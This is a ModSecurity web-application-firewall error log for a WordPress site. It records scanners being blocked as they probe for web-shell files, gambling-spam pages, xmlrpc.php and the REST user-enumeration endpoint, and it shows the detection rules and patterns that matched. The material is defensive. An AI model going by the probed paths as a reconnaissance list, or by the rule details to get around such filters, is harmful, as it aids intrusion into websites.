[Wed Mar 25 21:33:51.057287 2026] [:error] [pid 25875:tid 25903] [client 4.223.157.191:64776] [client 4.223.157.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x0rg.php"] [unique_id "acPkPxJ38QkS3NyfshwrRwAAApY"]
[Wed Mar 25 21:33:51.585793 2026] [:error] [pid 25967:tid 25996] [client 4.223.157.191:65478] [client 4.223.157.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x0rg.php"] [unique_id "acPkP_g8Qtq7ZM4mSFl0LwAAA1g"]
[Wed Mar 25 21:33:52.110750 2026] [:error] [pid 25875:tid 25883] [client 4.223.157.191:7161] [client 4.223.157.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x0rg.php"] [unique_id "acPkQBJ38QkS3NyfshwrSgAAAoI"]
[Wed Mar 25 21:33:52.637805 2026] [:error] [pid 756:tid 863] [client 4.223.157.191:49109] [client 4.223.157.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dk.php"] [unique_id "acPkQDOaW6oylMIDBCQlxwAAAIs"]
[Wed Mar 25 21:33:53.164217 2026] [:error] [pid 892:tid 918] [client 4.223.157.191:6900] [client 4.223.157.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dk.php"] [unique_id "acPkQST_G8WMU3T3yxrfEgAAANM"]
[Wed Mar 25 21:40:47.507813 2026] [:error] [pid 25875:tid 25894] [client 43.157.191.20:60456] [client 43.157.191.20] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "acPl3xJ38QkS3NyfshwtRAAAAo0"]
[Wed Mar 25 22:32:21.092254 2026] [:error] [pid 26449:tid 26457] [client 182.42.105.144:58777] [client 182.42.105.144] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acPx9dpZ2T15NDqzAjGR1gAAAkQ"]
[Wed Mar 25 22:59:50.473740 2026] [:error] [pid 25875:tid 25887] [client 78.109.70.207:1573] [client 78.109.70.207] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "acP4ZhJ38QkS3NyfshxRyQAAAoY"]
[Wed Mar 25 23:01:45.045547 2026] [:error] [pid 47946:tid 47967] [client 78.109.70.207:9421] [client 78.109.70.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.109.70.207, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acP42TipQTqBMSeKYhePIAAAARM"]
[Wed Mar 25 23:03:28.766917 2026] [:error] [pid 756:tid 852] [client 78.109.70.207:3728] [client 78.109.70.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.109.70.207, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acP5QDOaW6oylMIDBCQqFAAAAII"]
[Wed Mar 25 23:05:25.913988 2026] [:error] [pid 47989:tid 48008] [client 78.109.70.207:22199] [client 78.109.70.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.109.70.207, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acP5tSWKdJMhIccROjkVGwAAAVE"]
[Wed Mar 25 23:07:06.945580 2026] [:error] [pid 26321:tid 26357] [client 78.109.70.207:11232] [client 78.109.70.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.109.70.207, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acP6GvKO65qqGZCSPZptLwAAAhA"]
[Wed Mar 25 23:08:38.221232 2026] [:error] [pid 25875:tid 25894] [client 78.109.70.207:22266] [client 78.109.70.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.109.70.207, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acP6dhJ38QkS3NyfshxT_gAAAo0"]
[Thu Mar 26 00:06:56.193789 2026] [:error] [pid 25875:tid 25896] [client 88.225.139.222:43122] [client 88.225.139.222] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.225.139.222, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acQIIBJ38QkS3NyfshxpuQAAAo8"]
[Thu Mar 26 00:29:13.227923 2026] [autoindex:error] [pid 55734:tid 55827] [client 141.98.11.17:57819] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Thu Mar 26 01:25:07.548763 2026] [:error] [pid 55733:tid 55775] [client 49.47.140.20:64301] [client 49.47.140.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.47.140.20, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acQac6MzUauzYCgMHcnZEAAAAJg"]
[Thu Mar 26 01:30:00.172546 2026] [:error] [pid 32829:tid 32841] [client 49.47.140.20:51492] [client 49.47.140.20] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "acQbmHFEeazI9mYaKszdaAAAAEo"]
[Thu Mar 26 01:31:25.035369 2026] [:error] [pid 32829:tid 32850] [client 49.47.140.20:52446] [client 49.47.140.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.47.140.20, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acQb7XFEeazI9mYaKszerwAAAFM"]
[Thu Mar 26 01:33:24.957728 2026] [:error] [pid 55733:tid 55753] [client 49.47.140.20:54179] [client 49.47.140.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.47.140.20, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acQcZKMzUauzYCgMHcnbYQAAAIY"]
[Thu Mar 26 01:35:29.773947 2026] [:error] [pid 32829:tid 32837] [client 49.47.140.20:55994] [client 49.47.140.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.47.140.20, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acQc4XFEeazI9mYaKszg3wAAAEY"]
[Thu Mar 26 01:37:28.222718 2026] [:error] [pid 32829:tid 32854] [client 49.47.140.20:57691] [client 49.47.140.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.47.140.20, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acQdWHFEeazI9mYaKszhhgAAAFc"]
[Thu Mar 26 01:43:26.726527 2026] [:error] [pid 55735:tid 55877] [client 52.188.122.85:61052] [client 52.188.122.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oo.php"] [unique_id "acQevkhXsYCMQZKUd5Ou7wAAARU"]
[Thu Mar 26 01:43:28.037888 2026] [:error] [pid 32829:tid 32839] [client 52.188.122.85:61746] [client 52.188.122.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oo.php"] [unique_id "acQewHFEeazI9mYaKszkSgAAAEg"]
[Thu Mar 26 01:43:29.933740 2026] [:error] [pid 32829:tid 32831] [client 52.188.122.85:46625] [client 52.188.122.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oo.php"] [unique_id "acQewXFEeazI9mYaKszkUAAAAEA"]
[Thu Mar 26 01:43:31.799126 2026] [:error] [pid 55734:tid 55826] [client 52.188.122.85:61019] [client 52.188.122.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oo.php"] [unique_id "acQew8_x4fL7PCmNzkCC8wAAAMA"]
[Thu Mar 26 01:51:49.581484 2026] [:error] [pid 32829:tid 32854] [client 145.239.66.9:47946] [client 145.239.66.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "acQgtXFEeazI9mYaKszo2QAAAFc"]
[Thu Mar 26 01:51:51.814522 2026] [:error] [pid 55733:tid 55750] [client 145.239.66.9:46552] [client 145.239.66.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "acQgt6MzUauzYCgMHcngAQAAAIQ"]
[Thu Mar 26 01:51:54.421619 2026] [:error] [pid 55735:tid 55880] [client 145.239.66.9:46562] [client 145.239.66.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "acQgukhXsYCMQZKUd5Ow_wAAARg"]
[Thu Mar 26 01:51:56.575316 2026] [:error] [pid 56131:tid 56155] [client 145.239.66.9:46574] [client 145.239.66.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "acQgvEg5t1V4ZYPCUhwwgQAAABA"]
[Thu Mar 26 01:51:58.725388 2026] [:error] [pid 55735:tid 55873] [client 145.239.66.9:52032] [client 145.239.66.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "acQgvkhXsYCMQZKUd5OxAgAAARE"]
[Thu Mar 26 01:52:00.734849 2026] [:error] [pid 32829:tid 32854] [client 145.239.66.9:52038] [client 145.239.66.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "acQgwHFEeazI9mYaKszo_gAAAFc"]
[Thu Mar 26 01:52:02.855272 2026] [:error] [pid 32829:tid 32847] [client 145.239.66.9:52042] [client 145.239.66.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "acQgwnFEeazI9mYaKszpCQAAAFA"]
[Thu Mar 26 01:52:05.081124 2026] [:error] [pid 32829:tid 32835] [client 145.239.66.9:52048] [client 145.239.66.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "acQgxXFEeazI9mYaKszpFQAAAEQ"]
[Thu Mar 26 01:52:07.968314 2026] [:error] [pid 55734:tid 55833] [client 145.239.66.9:59004] [client 145.239.66.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "acQgx8_x4fL7PCmNzkCEtQAAAMc"]
[Thu Mar 26 01:52:10.013375 2026] [:error] [pid 32829:tid 32846] [client 145.239.66.9:59016] [client 145.239.66.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "acQgynFEeazI9mYaKszpIgAAAE8"]
[Thu Mar 26 01:52:12.318359 2026] [:error] [pid 55734:tid 55844] [client 145.239.66.9:59026] [client 145.239.66.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "acQgzM_x4fL7PCmNzkCEvgAAANI"]
[Thu Mar 26 01:52:14.742205 2026] [:error] [pid 32829:tid 32840] [client 145.239.66.9:59038] [client 145.239.66.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "acQgznFEeazI9mYaKszpMgAAAEk"]
[Thu Mar 26 01:52:16.650481 2026] [:error] [pid 55733:tid 55762] [client 145.239.66.9:59048] [client 145.239.66.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "acQg0KMzUauzYCgMHcngEgAAAI8"]
[Thu Mar 26 01:52:19.492725 2026] [:error] [pid 56131:tid 56157] [client 145.239.66.9:34626] [client 145.239.66.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "acQg00g5t1V4ZYPCUhwwqwAAABI"]
[Thu Mar 26 01:52:21.465722 2026] [:error] [pid 55735:tid 55863] [client 145.239.66.9:34642] [client 145.239.66.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "acQg1UhXsYCMQZKUd5OxFAAAAQg"]
[Thu Mar 26 01:52:23.298176 2026] [:error] [pid 56131:tid 56152] [client 145.239.66.9:34654] [client 145.239.66.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "acQg10g5t1V4ZYPCUhwwuwAAAA0"]
[Thu Mar 26 01:52:26.663899 2026] [:error] [pid 56131:tid 56149] [client 145.239.66.9:34660] [client 145.239.66.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "acQg2kg5t1V4ZYPCUhwwyAAAAAo"]
[Thu Mar 26 01:52:28.743537 2026] [:error] [pid 55734:tid 55827] [client 145.239.66.9:41618] [client 145.239.66.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "acQg3M_x4fL7PCmNzkCEzgAAAME"]
[Thu Mar 26 01:52:31.040288 2026] [:error] [pid 55735:tid 55867] [client 145.239.66.9:41630] [client 145.239.66.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "acQg30hXsYCMQZKUd5OxHAAAAQw"]
[Thu Mar 26 01:52:33.260042 2026] [:error] [pid 55733:tid 55766] [client 145.239.66.9:41646] [client 145.239.66.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "acQg4aMzUauzYCgMHcngJQAAAJI"]
[Thu Mar 26 01:52:35.390664 2026] [:error] [pid 32829:tid 32848] [client 145.239.66.9:41656] [client 145.239.66.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "acQg43FEeazI9mYaKszpUAAAAFE"]
[Thu Mar 26 01:52:37.921129 2026] [:error] [pid 32829:tid 32843] [client 145.239.66.9:43310] [client 145.239.66.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "acQg5XFEeazI9mYaKszpWgAAAEw"]
[Thu Mar 26 01:52:40.071974 2026] [:error] [pid 32829:tid 32839] [client 145.239.66.9:43322] [client 145.239.66.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "acQg6HFEeazI9mYaKszpZAAAAEg"]
[Thu Mar 26 01:52:42.085576 2026] [:error] [pid 56131:tid 56148] [client 145.239.66.9:43338] [client 145.239.66.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "acQg6kg5t1V4ZYPCUhww4gAAAAk"]
[Thu Mar 26 01:52:44.278599 2026] [:error] [pid 55734:tid 55831] [client 145.239.66.9:43352] [client 145.239.66.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "acQg7M_x4fL7PCmNzkCE2AAAAMU"]
[Thu Mar 26 01:53:37.798893 2026] [:error] [pid 32829:tid 32837] [client 145.239.66.9:55036] [client 145.239.66.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "acQhIXFEeazI9mYaKszqGAAAAEY"]
[Thu Mar 26 01:53:43.660202 2026] [:error] [pid 55733:tid 55747] [client 145.239.66.9:54192] [client 145.239.66.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "acQhJ6MzUauzYCgMHcngdAAAAIE"]
[Thu Mar 26 01:53:46.704164 2026] [:error] [pid 55733:tid 55774] [client 145.239.66.9:54196] [client 145.239.66.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "acQhKqMzUauzYCgMHcngeQAAAJc"]
[Thu Mar 26 01:53:51.131384 2026] [:error] [pid 55735:tid 55867] [client 145.239.66.9:39664] [client 145.239.66.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "acQhL0hXsYCMQZKUd5OxaAAAAQw"]
[Thu Mar 26 01:53:55.493336 2026] [:error] [pid 55734:tid 55836] [client 145.239.66.9:39680] [client 145.239.66.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "acQhM8_x4fL7PCmNzkCFCAAAAMo"]
